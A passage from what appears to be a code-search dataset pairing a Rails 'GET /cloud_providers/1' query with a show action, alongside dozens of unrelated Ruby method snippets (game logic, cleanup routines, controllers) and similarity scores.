+ card.base_card.name + '.name'\n else\n target_district = 'districts.' + card.base_card.name\n end\n party.game_messages.create(:message => 'message.destroy',:actor_player => user.name.capitalize, :target_player => card_owner.capitalize, :target_district => target_district)\n end\n end\n end\n exist\n end",
"def after_sync\n end",
"def cleanup\n super\n end",
"def remove\n\t\t#Clean up unused rtwork\n\t\tif Artwork.find_by_majorpost_uuid(params[:majorpost_uuid])\n\t\t\tResque.enqueue(Image::ArtworkCleanup, params[:majorpost_uuid])\n\t\tend\n\tend",
"def removed_child_object(child, relations)\n\t super if defined? super\n\n if !task.invalidated_terminal_flag?\n if (relations.include?(EventStructure::Forwarding) || relations.include?(EventStructure::Signal)) && \n child.respond_to?(:task) && child.task == task\n\n task.invalidate_terminal_flag\n end\n end\n\tend",
"def perform_transfer\n if $game_map.map_id != @new_map_id\n refresh_falcao_int_system \n @clear_lights = true\n @working_at = {} ; @grabevents = []\n if @showing_barrel and not @gamebarrel.picked\n @showing_barrel = false\n @gamebarrel.moveto(-1, -1)\n @gamebarrel.fire_duration = 0; @gamebarrel.pushable_busy = nil\n @gamebarrel.character_name = BarrelGraphicOff\n end\n if @showing_bomb and not @gamebomb.picked\n @gamebomb.action_time = 0\n @showing_bomb = false\n @gamebomb.moveto(-1, -1)\n end\n @gamearrow.char_steps = 0 if @showing_arrow \n @showing_arrow = false if @showing_arrow \n @gamegun.char_steps = 0 if @showing_gun \n @showing_gun = false if @showing_gun \n \n end\n falcao_intsystem_perform_transfer\n end",
"def clean!\n @data = freezer(@data.merge(@dirty))\n @dirty.clear\n self\n end",
"def unload_cars_if_arrived_at_destination\n if (self.cidade_destino == self.cidade_id)\n cars.each do |car|\n # verifica se o carro descarregado chegou no destino ou se vai embarcar em outra cegonha/parceiro (logistica)\n\n if car.cidade_destino == self.cidade_destino\n car.ativo = VEHICLE_STATUS.index('UNLOADED')\n else\n car.ativo = VEHICLE_STATUS.index('IN_LOGISTICS')\n end\n car.cegonha = nil\n car.save\n end\n self.update_column(:cidade_destino, nil)\n self.update_column(:cidade_origem, nil)\n end\n end",
"def craft!(recipe,item=item_from_recipe(recipe))\n @crafted[IEI::CraftSystem.item2craft(item)] = true\n gain_item(item,1)\n recipe2items(recipe).each{|m|lose_item(m,1)}\n return true\n end",
"def sync(source_entry)\n [ :entry_status, :entry_author_id, :entry_allow_comments, :entry_allow_pings, \n :entry_convert_breaks, :entry_title, :entry_excerpt, :entry_text, :entry_text_more,\n :entry_to_ping_urls, :entry_pinged_urls, :entry_keywords, :entry_tangent_cache,\n :entry_created_on, :entry_modified_on, :entry_created_by, :entry_modified_by,\n :entry_basename, :entry_week_number ].each do |attribute|\n self[attribute] = source_entry[attribute]\n end\n\n # Sync placements ONLY if this entry has been previously saved.\n unless self.new_record?\n # Add or update placements.\n source_entry.placements.each do |source_placement|\n # Category may not exist yet; copy if so.\n target_category = MovableType::AR::Category.find(:first, :conditions => { :category_blog_id => self.entry_blog_id, :category_label => source_placement.category.category_label })\n target_category = MovableType::AR::Category.create(self.blog, source_placement.category) if target_category.blank?\n target_placement = self.placements.find(:first, :conditions => { :placement_category_id => target_category.category_id })\n target_placement.blank? ?\n self.placements << MovableType::AR::Placement.create(self, source_placement) :\n target_placement.sync!(source_placement)\n end\n \n # Remove old placements.\n if self.placements.size > source_entry.placements.size\n self.placements.each do |target_placement|\n source_category = MovableType::AR::Category.find(:first, :conditions => { :category_blog_id => source_entry.entry_blog_id, :category_label => target_placement.category.category_label })\n if source_category.blank?\n self.placements.delete(target_placement)\n next\n end\n \n source_placement = source_entry.placements.find(:first, :conditions => { :placement_category_id => source_category.category_id })\n self.placements.delete(target_placement) if source_placement.blank?\n end\n end\n \n # Comments need to be synchronized separately (should always flow from production -> beta).\n end\n end",
"def last_changed_craft nac = new_and_changed #call new_and_changed just once, with option to pass it in if its already been called.\n last_updated = self.craft.where(\"deleted = ? and name != ?\", false, \"Auto-Saved Ship\").order(\"updated_at\").last\n\n if !nac[:changed].empty? || !nac[:new].empty?\n craft_names = nac[:changed].select{|c| !c.include?(\"Auto-Saved Ship\")}\n craft_names = nac[:new].select{|c| !c.include?(\"Auto-Saved Ship\")} unless nac[:new].empty?\n unless craft_names.empty?\n matched_craft = Craft.where(:name => craft_names.map{|cn| cn.split(\"/\").last.sub(\".craft\",\"\")}, :deleted => false, :campaign_id => self.id)\n matched_craft = matched_craft.sort_by{|c| File.mtime(c.file_path) if File.exists?(c.file_path) } \n last_updated = matched_craft.last unless matched_craft.empty?\n end\n end\n last_updated\n end",
"def irc_part_event(stem, sender, arguments) # :nodoc:\n @chan_mutex.synchronize do\n if sender[:nick] == @nick then\n drop_channel arguments[:channel]\n else\n @channel_members[arguments[:channel]].delete sender[:nick]\n end\n #TODO what should we do if we are in the middle of receiving NAMES replies?\n end\n end",
"def clean\n clean_queued\n clean_running\n end",
"def destroy\n self.littles.each do | little|\n little.big_id = nil;\n end\n self.positions.each do | pos |\n pos.dke_info_id = nil;\n end\n return super\n end",
"def cleanUpMountedItems\n # Filtering weapons\n @weapons = @weapons.select { |weapon| weapon.uses > 0 }\n\n # Filtering shields\n @shieldBoosters = @shieldBoosters.select { |shield| shield.uses > 0 }\n end",
"def cleanup_old_person\n\t\tself.person_was.destroy if self.person_was && self.person_was.show_positions.count == 0 && self.person_was.netid.blank?\n\tend",
"def produce(game, unit_or_structure)\n # producing a Zerg unit consumes the larva\n game.army.delete(self)\n super\n end",
"def action_processed(_action)\n @entities.each(&:unpass!)\n end",
"def summon_removal\n # remove all expired pets\n @pets.clone.each {|p| @pets.delete(p) if p.terminate}\n # remove all expired monsters\n @monsters.clone.each {|m| @monsters.delete(m) if m.terminate}\n end",
"def revert_conflicts\r\n self.update_conflicts(-1)\r\n #@tile.hit()\r\n end",
"def set_removed # :nodoc:\n @removed = true\n end",
"def finish_fabrication\n Thread.current[:fabrications_ongoing] -= 1\n end",
"def remove\n raise QueueUnderflow if empty?\n result = @info.shift\n changed\n notify_observers(self, :remove, result)\n result\n end",
"def cleanup\n Feed.processing.update_all(processing: false)\n FeedItem.processing.update_all(processing: false)\n end",
"def react!\n @started_at = Time.now\n EM.next_tick do \n\tEM.add_periodic_timer(TICK_INTERVAL) do\n\t @last_tick ||= 0\n\t # puts \"==== tick! last one was #{Time.now - @last_tick} ago\"\n\t @last_tick = Time.now\n\n\t # moves = @next_moves\n\t removals = @scheduled_removals.dup\n\n\t removals.each do |entity|\n\t entity_group = @entities.detect { |es| es.include?(entity) }\n\n\t if entity_group\n\t sockets.values.each do |s|\n\t\tdata = {depth: @entities.index(entity_group), entity_id: entity.guid }\n\t\ttransmit 'removal', data, s\n\t end\n\t end\n\n\t puts \">>>> DELETING ENTITY\"\n\t entity_group.delete(entity) if entity_group\n\t @scheduled_removals.delete(entity)\n\n\t # recompute all fovs? (seems like we could at least limit to heroes on this level, but should really be a question of asking the heroes if the object is visible)\n\t # timing of this could also be problematic\n\n\t heroes.each { |h| h.build_fov_map }\n\t end\n\n\t # step!\n\t @heroes.each { |h| h.update }\n\n\t @next_moves.each do |entity, direction|\n\t if move(entity, direction)\n\t # entity.recompute_fov if entity.is_a?(Hero)\n\t # end\n\t # end\n\n\t # moves.each do |entity, _|\n\t sockets.values.each do |s|\n\t\tif entity.is_a?(Roguecraft::Hero)\n\t\t message_data = entity.attributes.merge({\n\t\t visible: entity.now_visible,\n\t\t invisible: entity.now_invisible\n\t\t })\n\t\t puts \"=== currently visible: #{entity.now_visible.inspect}\"\n\t\t transmit 'move', message_data, s\n\t\tend\n\t end\n\t end\n\t end\n\n\t @next_moves = {}\n\tend\n end\n end",
"def clear_modified\n @modified = false\n nil\n end",
"def reset\r\n free\r\n @requested = []\r\n end",
"def clean\r\n\t\t\t@clean ||= json['innerCleanliness']\r\n\t\tend",
"def cleanup!\n # This method may be left unimplemented if that is applicable\n end",
"def discover_deleted_craft existing_craft_map = nil\n #In the root of the campaigns git repo run the --diff-filter command and then return to the current working dir.\n log = self.repo.log_filterD\n \n\n #Select the craft already present in the DB which can either be from passed in existing_craft_map or directly from the DB\n if existing_craft_map\n existing_craft = {\n \"VAB\" => existing_craft_map.has_key?(\"vab\") ? existing_craft_map[\"vab\"].keys : [],\n \"SPH\" => existing_craft_map.has_key?(\"sph\") ? existing_craft_map[\"sph\"].keys : []\n } \n else \n existing_craft = {\n \"VAB\" => self.craft.where(:craft_type => \"vab\").map{|c| c.name},\n \"SPH\" => self.craft.where(:craft_type => \"sph\").map{|c| c.name}\n } \n end\n\n #get all the SHA_ID's used in the campaigns repo\n logs = self.repo.log.map{|log| log.to_s}\n\n #split logs so that each element contains one commit and each commit is an array, the 1st element of which is the SHA_ID\n log = log.split(\"commit \").map{|l| l.split(\"\\n\") }.select{|l| !l.empty?}\n\n log.map{|l|\n next unless logs.include?(l[0]) #perhaps un-nessesary, a security step to ensure this only examines commits whos SHA_ID matches one in this repo.\n commit_info = {\n :sha => l[0], #first element is the SHA_ID\n #select lines which include \"delete mode\" and remove the \"delete mode\" text. Each line (of which there maybe 1 or more) is a file which was deleted.\n :deleted => l.select{|line| line.include?(\"delete mode\")}.map{|line| line.gsub(\"delete mode 100644\",\"\").strip}.map{|data|\n s = data.sub(\"Ships/\",\"\").split(\"/\") #assume the file path has 'Ships/' and remove it and split on '/'\n d = {:craft_type => s[0], :name => s[1]} #assuming the file is a craft, the first element will be VAB or SPH and the 2nd element will be the name.craft\n d = nil unless d[:name].include?('.craft')#set d to nil 'skip' if the name does not include .craft\n #second skip clause, skip if the craft type is not either VAB or SPH and skip if the existing craft already contain a craft by that name (for that craft_type).\n d = nil if ![\"SPH\",\"VAB\"].include?(d[:craft_type]) || existing_craft[d[:craft_type]].include?(d[:name].sub(\".craft\",\"\"))\n d\n }.compact #remove the nil'ed entries\n }\n commit_info = nil if commit_info[:deleted].compact.empty? #if all the entries were nil'ed then skip this commit\n commit_info\n }.compact #remove the nil'ed commits.\n end",
"def finalize\r\n drop_chopsticks\r\n end",
"def piece_finished\n blocks = build_blocks\n blocks.each do |block|\n @field[\n @falling_piece.grid_position.y + block.grid_offset_y\n ][\n @falling_piece.grid_position.x + block.grid_offset_x\n ] = block\n end\n\n new_piece\n check_row_removal\n end",
"def remove_message_reaction(data); end",
"def fish_removed()\n @fish_count.pop()\n end",
"def cleanup\r\n end",
"def cleanup\n super\n end",
"def pop\n synchronize do\n @actions = actions.dup\n action = actions.pop\n @actions.freeze\n action\n end\n end",
"def runremovelessonfromslot(lesson)\n this_error = \"\"\n # Processing the chain.\n #--------------------- role (actually lesson)-----------------------------\n this_error = get_role_chain_and_block(lesson, {'all' => true})\n return this_error if this_error.length > 0\n #person_type = role.is_a?(Role) ? 'student' : 'tutor'\n #--------------------- check all lessons are empty ----------------------\n (0..@block_roles.length-1).each do |i|\n if @block_roles[i].tutroles.count > 0\n this_error += \" Tutors in this lesson\"\n end\n if @block_roles[i].roles.count > 0\n this_error += \" Students in this lesson\"\n end\n if this_error.length > 0\n return \"You cannot remove lessons as \" + this_error\n end\n end\n #--------------------------- update db ------------------------------\n begin\n Role.transaction do\n (0..@block_roles.length-1).each do |i|\n #@block_roles[i].update!(lesson_id: block_lessons[i].id) # change to the database\n @block_roles[i].destroy! # change to the database\n # all saved safely, now need to update the browser display (using calendar messages)\n # the object_id will now change (for both move and copy as the inbuild\n # lesson number will change.\n end\n if @role_breakchainlast # break the chain.\n @role_breakchainlast.update!(next: nil)\n end\n end\n rescue ActiveRecord::RecordInvalid => exception\n logger.debug \"rollback exception: \" + exception.inspect\n #this_exception = exception\n logger.debug \"Transaction failed!!!\"\n this_error = \"Transaction failed!!! \" + exception.inspect\n end\n if this_error.length > 0\n logger.debug \"unprocessable entity(line 117): \" + this_error \n return this_error\n end\n #--------------------------- update dom ------------------------------\n @domchangerun = Array.new\n @block_roles.each_with_index do |o, i|\n logger.debug \"block_role (\" + i.to_s + \"): \" + o.inspect\n @domchangerun[i] = Hash.new\n @domchangerun[i]['action'] = 'removeLesson'\n @domchangerun[i]['object_type'] = 'lesson'\n @domchangerun[i]['new_slot_domid'] = o.slot.location[0,3] +\n o.slot.timeslot.strftime(\"%Y%m%d%H%M\") +\n 'l' + o.slot.id.to_s\n @domchangerun[i]['object_id'] = @domchangerun[i]['new_slot_domid'] + \n 'n' + o.id.to_s\n end\n # No breakchainlast updates necessary for display. \n ############ now need to add processing for screen update #################\n # Now do the breakchainlast\n if @role_breakchainlast # break the chain.\n # Need to display the linkage change on the display\n # @role_breakchainlast is the role\n # display is an update (not a removal) so must rerender\n # build using the role\n o = @role_breakchainlast # lesson object\n @domchangebreakchainlast = Hash.new\n @domchangebreakchainlast['action'] = 'replace' \n @domchangebreakchainlast['object_type'] = 'lesson'\n @domchangebreakchainlast['new_slot_id'] = o.slot.location[0,3] +\n o.slot.timeslot.strftime(\"%Y%m%d%H%M\") +\n 'l' + o.slot_id.to_s\n @domchangebreakchainlast['object_id'] = @domchangebreakchainlast['new_slot_id'] +\n 'n' + o.id.to_s\n # This is rendering a lesson\n @domchangebreakchainlast['html_partial'] = \n render_to_string(\"calendar/_schedule_lesson_ajax.html\",\n :formats => [:html], :layout => false,\n :locals => {:slot => @domchangebreakchainlast['new_slot_id'],\n :lesson => o,\n :thistutroles => o.tutroles,\n :thisroles => o.roles\n })\n end\n #--------------------------- update screens ------------------------------\n # saved safely, now need to update the browser display (using calendar messages)\n # collect the set of screen updates and send through Ably as single message\n domchanges = Array.new\n (0..@block_roles.length-1).each do |i|\n domchanges.push(@domchangerun[i])\n end\n domchanges.push(@domchangebreakchainlast)\n ably_rest.channels.get('calendar').publish('json', domchanges)\n #(0..@block_roles.length-1).each do |i|\n # ably_rest.channels.get('calendar').publish('json', @domchangerun[i])\n #end\n # Now send out the updates to the stats screen\n # collect the set of stat updates and send through Ably as single message\n statschanges = Array.new\n (0..@block_roles.length-1).each do |i|\n statschanges.push(get_slot_stats(@domchangerun[i]['new_slot_domid']))\n end\n ably_rest.channels.get('stats').publish('json', statschanges)\n #(0..@block_roles.length-1).each do |i|\n # get_slot_stats(@domchangerun[i]['new_slot_domid'])\n #end\n # everything is completed successfully.\n respond_to do |format|\n format.json { render json: @domchange, status: :ok }\n end\n return \"\"\n end",
"def data_cleansing_after_cleaners\n @data_cleansing_after_cleaners ||= Concurrent::Array.new\n end",
"def compact!\n return unless applied\n applied.compact!\n self.pending = applied.next\n end",
"def pop\n _exchange\n end",
"def recalc_interested\n show_interest = !@peer_virgin || (@package.pieces.detect do |p|\n !p.complete? && @peer_pieces[p.index]\n end) != nil\n\n queue_message(show_interest ? :interested : :uninterested) unless show_interest == @interested\n if ((@interested = show_interest) == false)\n @want_blocks_m.synchronize do\n @controller.forget_blocks @want_blocks\n @want_blocks.clear\n end\n end\n end",
"def changes_applied\n super\n @embedded_in_portal = nil\n @marked_for_destruction = nil\n end",
"def unreserve\n f = @submission.followings.first\n if !@submission.waiting? || f.nil? || (f.user != current_user.sk && !current_user.sk.root?) || f.kind != 0 # Not supposed to happen\n @what = 0\n else\n Following.delete(f.id)\n @what = 1\n end\n end",
"def sync() end",
"def sync() end",
"def sync() end",
"def cleanup\n end",
"def cleanup\n end",
"def clean\n @lock.synchronize do\n now = Time.now\n dtime = Global.tuple_space_disconnection_time\n @tuple_space.delete_if {|_, holder| (now - holder[:last_time]) > dtime}\n end\n end",
"def garbage_collect\n self.components.clear\n GC.start\n ObjectSpace.each_object(Component) do |c|\n components << c if c.world == self\n end\n end",
"def parts_with_order_remove part\n self.parts_with_order = self.parts_with_order.reject{|master_file| master_file.pid == part.pid }\n end",
"def unload_reactions\n @reactor.clear if @reactor\n @reaction_files.clear if @reaction_files\n end",
"def undo_mark_for_destruction\n template_divisions.each { |div| div.reload if div.marked_for_destruction? } if exam_been_uploaded?\n end",
"def drop_all_the_way\n if @game.is_running?\n ran = @current_block.drop_by_one\n ran2 = @current_block2.drop_by_one\n @current_pos1.each{|block| block.remove}\n @current_pos2.each{|block| block.remove}\n while ran\n @score += 1\n ran = @current_block.drop_by_one\n end\n while ran2\n @score += 1\n ran2 = @current_block2.drop_by_one\n end\n draw\n store_current\n if !game_over?\n next_piece\n next_piece2\n end\n @game.update_score\n draw\n end\n end",
"def remove_from_queue(queue, data)\n prioritized?(queue) ? z_remove_from_queue(queue, data) : super\n end",
"def remove_sync_matches(product)\n product.master.integration_sync_matches.destroy_all\n end",
"def deal_card\r\n\t\tcards.pop\r\n\tend",
"def clean_up_battle\n for window in @windows.values\n next if window == nil #skill all already disposed items.\n window.visible = false#hide all windows\n window.active = false #disable all windows\n end\n \n for battler in tactics_all\n battler.clear_tbs_actions #clear actions\n battler.tbs_battler = false #clear in battle flag\n add_remove_invited(battler) #check and add 'invited' actors to the team\n remove_dead_actors if GTBS::Dead_Actors_Leave\n end\n end",
"def repair!\n update!\n end",
"def remove_card\n @cards.shift\n\n end",
"def cancel_mix_items\n actor = BattleManager.actor\n if actor && actor.input.mixed_item\n BattleManager.actor.return_last_mix_items\n BattleManager.actor.input.mixed_item = false\n end\n end",
"def delete_game_id_in_queue game_id, queue = nil\n current_queue = queue || craft_firebase_command(\"minesweeper/queue.json\")\n\n # getting new queue to update\n new_queue = current_queue&.reject { |queue_game_id|\n # reject chosen game\n game_id == queue_game_id\n }\n\n # update queue on server\n update_current_queue(new_queue)\nend",
"def animation_cards_distr_end\r\n @log.debug \"END Animation distrubite cards\"\r\n @composite_graph.bring_component_on_front(nil)\r\n @core_game.continue_process_events if @core_game\r\n end",
"def invalidate_sorted_cache\n\t\tmod_sorted = nil\n\t\tmod_ranked = nil\n\tend",
"def send_saved_pixi_removed\n if closed_arr.detect {|closed| @listing.status == closed }\n saved_listings = SavedListing.active_by_pixi(pixi_id) rescue nil\n if saved_listings\n saved_listings.each do |saved_listing|\n if closed_arr.detect {|closed| saved_listing.status == closed }\n UserMailer.send_saved_pixi_removed(saved_listing).deliver_later unless @listing.buyer_id == saved_listing.user_id\n end\n end\n end\n end\n end",
"def update\n @crafted_item = CraftedItem.find(:first, :conditions => [\"id = ?\", params[:id]], :select => \"id, crafted_item_generated_id, crafted_item_stacksize, component_item_id, component_item_quantity\")\n CraftedItem.clear_cached_crafted_item(params[:id])\n CraftedItem.clear_cached_source_description_for_crafted_item(params[:id])\n CraftedItem.clear_cached_crafted_item_by_component_item_id(@crafted_item.crafted_item_generated_id)\n CraftedItem.clear_cached_crafted_item_count(@crafted_item.crafted_item_generated_id)\n CraftedItem.clear_all_cached_crafted_item\n \n respond_to do |format|\n if @crafted_item.update_attributes(params[:crafted_item])\n \n format.html { redirect_to(@crafted_item, :notice => 'Crafted item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @crafted_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def drop\n spawn\n\n begin\n push\n landed = drop1\n end until landed\n\n commit\n\n if @caching\n cache\n else\n nil\n end\n end",
"def removed\n @remaining_at_start - (@remaining_at_end + @completed) unless @remaining_at_end.nil? || @completed.nil? || @remaining_at_start.nil?\n end",
"def update\n #replace the parts first\n\n Service.transaction do\n @service.expended_part_ids.uniq.each do |part_id|\n p = ExpendedPart.find(part_id)\n p.part.update(inventory: p.part.inventory + @service.expended_part_ids.count(part_id) )\n p.destroy\n end\n\n updated_parts = service_params[:part_ids]\n updated_parts.delete('')\n updated_parts.uniq.each do |part_id|\n p = Part.find(part_id)\n p.update(inventory: p.inventory - updated_parts.count(part_id))\n end\n end\n\n if @service.update(service_params)\n redirect_to tool_path(service_params[:tool_id]); gflash :success => 'Service was successfully updated.'\n else\n render action: 'edit'\n end\n\n end",
"def preClean(leave_ours = false)\n end",
"def deal_card\n @deck.remove(:front)\n end",
"def mark_as_removed!\n self.removed = true\n self.save\n end",
"def transfer_from_savings(x)\n @lock.synchronize {\n @savings -= x\n @checking += x\n }\n end",
"def pop &use\n #Thread.pass while self.empty?\n sleep 0.01 while self.empty?\n self.pop! &use\n end",
"def block_removal_of_fixed_contexts\n return false if self.removable == false\n true\n end",
"def clean_up\n if self.deleted?\n # clean room type mapping\n RoomTypeChannelMapping.find_all_by_room_type_id(self.id).each do |rtcm|\n rtcm.update_attribute(:deleted, true)\n end\n # clean master rate mapping\n RoomTypeMasterRateMapping.find_all_by_room_type_id(self.id).each do |rtmr|\n RoomTypeMasterRateChannelMapping.find_all_by_room_type_master_rate_mapping_id(rtmr.id).each do |rtc|\n rtc.update_attribute(:deleted, true)\n end\n rtmr.update_attribute(:deleted, true)\n end\n # clean availability link from\n RoomTypeInventoryLink.find_all_by_room_type_from_id(self.id).each do |rml|\n rml.update_attribute(:deleted, true)\n end\n # clean availability link to\n RoomTypeInventoryLink.find_all_by_room_type_to_id(self.id).each do |rml|\n rml.update_attribute(:deleted, true)\n end\n end\n end"
] |
[
"0.57707274",
"0.55127895",
"0.54536176",
"0.5440304",
"0.5425826",
"0.5278683",
"0.5263155",
"0.5256147",
"0.51834035",
"0.5126867",
"0.51265687",
"0.5110576",
"0.51086265",
"0.5065961",
"0.50260496",
"0.50104874",
"0.5002443",
"0.4984404",
"0.49516785",
"0.4938274",
"0.49298862",
"0.49129415",
"0.49007916",
"0.48961768",
"0.48890322",
"0.48506945",
"0.4840839",
"0.48304585",
"0.48298046",
"0.48295763",
"0.48199743",
"0.48154154",
"0.48075774",
"0.480358",
"0.4791913",
"0.47828346",
"0.47815913",
"0.47622982",
"0.47588134",
"0.47528166",
"0.47523284",
"0.47479707",
"0.4738567",
"0.47382438",
"0.47250766",
"0.47235784",
"0.47224745",
"0.47215128",
"0.471603",
"0.47089782",
"0.47086343",
"0.4700102",
"0.46939346",
"0.4687825",
"0.46865243",
"0.46857056",
"0.46850213",
"0.4683051",
"0.46815667",
"0.46803614",
"0.46793956",
"0.4676744",
"0.46752614",
"0.46645373",
"0.46596783",
"0.4659178",
"0.46565863",
"0.46551427",
"0.46551427",
"0.46551427",
"0.46502873",
"0.46502873",
"0.46485412",
"0.46475762",
"0.4647255",
"0.46461853",
"0.46404922",
"0.46400133",
"0.4628169",
"0.46230873",
"0.4621171",
"0.46190262",
"0.46117723",
"0.46112755",
"0.46110597",
"0.46109924",
"0.46107498",
"0.46096256",
"0.46090394",
"0.46029544",
"0.4601727",
"0.46015555",
"0.45994034",
"0.4593253",
"0.45907623",
"0.45902127",
"0.45850947",
"0.45822355",
"0.45796913",
"0.4577642"
] |
0.6329431
|
0
|
GET /cloud_providers/1 GET /cloud_providers/1.json
|
def show
@cloud_provider = current_user.cloud_providers.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @cloud_provider }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @cloud_provider = current_user.cloud_providers.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cloud_provider }\n end\n end",
"def show\n @provider = current_company.providers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @provider }\n end\n end",
"def providers_get_providers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ProvidersApi.providers_get_providers ...\"\n end\n # resource path\n local_var_path = \"/api/Providers\"\n\n # query parameters\n query_params = {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ProviderListItemPage')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProvidersApi#providers_get_providers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_providers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PricesApi.get_providers ...'\n end\n # resource path\n local_var_path = '/v1/providers'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Providers')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PricesApi#get_providers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def providers\n url = url_with_api_version(@base_url, 'providers')\n resp = rest_get(url)\n JSON.parse(resp.body)[\"value\"]\n end",
"def index\n @providers = current_company.providers.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @providers }\n end\n end",
"def providers(params = {})\n response = default_scope.get('providers/') do |request|\n request.params = params\n end\n JSON.parse(response.body)\n end",
"def providers_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ConnectionsApi.providers_get ...'\n end\n # resource path\n local_var_path = '/providers'\n\n # query parameters\n query_params = {}\n query_params[:'expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20020')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConnectionsApi#providers_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @provider }\n end\n end",
"def show\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @provider }\n end\n end",
"def fetch_cloud\n cloud = Cloud.find(params[:cloud_id])\n authorize cloud, :show?\n return cloud\n end",
"def show\n @cloud = Cloud.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @cloud }\n end\n end",
"def show\n @title = t('view.providers.show_title')\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @provider = current_company.providers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @flavours = @provider.get_flavors\n puts \"getting the flavors #{@flavours.inspect}\"\n @images = @provider.get_images\n puts \"getting the flavors #{@images.inspect}\"\n @instance = @provider.instances.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @instance }\n end\n end",
"def index\n @providerservices = Providerservice.all\n end",
"def index\n @v1_provider_operations = V1::ProviderOperation.all\n end",
"def show\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to provider_readme_url(@provider) } \n format.json { render json: @provider }\n end\n end",
"def fetch_cloud\n @cloud ||= Cloud.find(params[:cloud_id])\n authorize @cloud, :show?\n end",
"def providers_get(opts = {})\n data, _status_code, _headers = providers_get_with_http_info(opts)\n data\n end",
"def get_cloud\n cloud_href = instance.cloud.href\n cloud_id = cloud_href.split('/').last\n cloud = @api_client.clouds(:id => cloud_id)\n end",
"def destroy\n @cloud_provider = current_user.cloud_providers.find(params[:id])\n @cloud_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to cloud_providers_url }\n format.json { head :no_content }\n end\n end",
"def show\n @providers = @profile.providers_data\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @profile }\n end\n end",
"def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @cloud }\n end\n end",
"def index\n @service_providers = ServiceProvider.all\n end",
"def new\n @provider = Provider.new\n @provider.build_address\n @services = Service.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def index\n @title = t('view.providers.index_title')\n @searchable = true\n @providers = Provider.filtered_list(params[:q]).order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @providers }\n end\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml # index.xml.builder\n format.json { render :json => ServiceCatalographer::Api::Json.index(\"service_providers\", json_api_params, @service_providers).to_json }\n format.bljson { render :json => ServiceCatalographer::Api::Bljson.index(\"service_providers\", @service_providers).to_json }\n end\n end",
"def index\n @providers = Provider.all\n end",
"def base_uri\n \"#{api}/provider\"\n end",
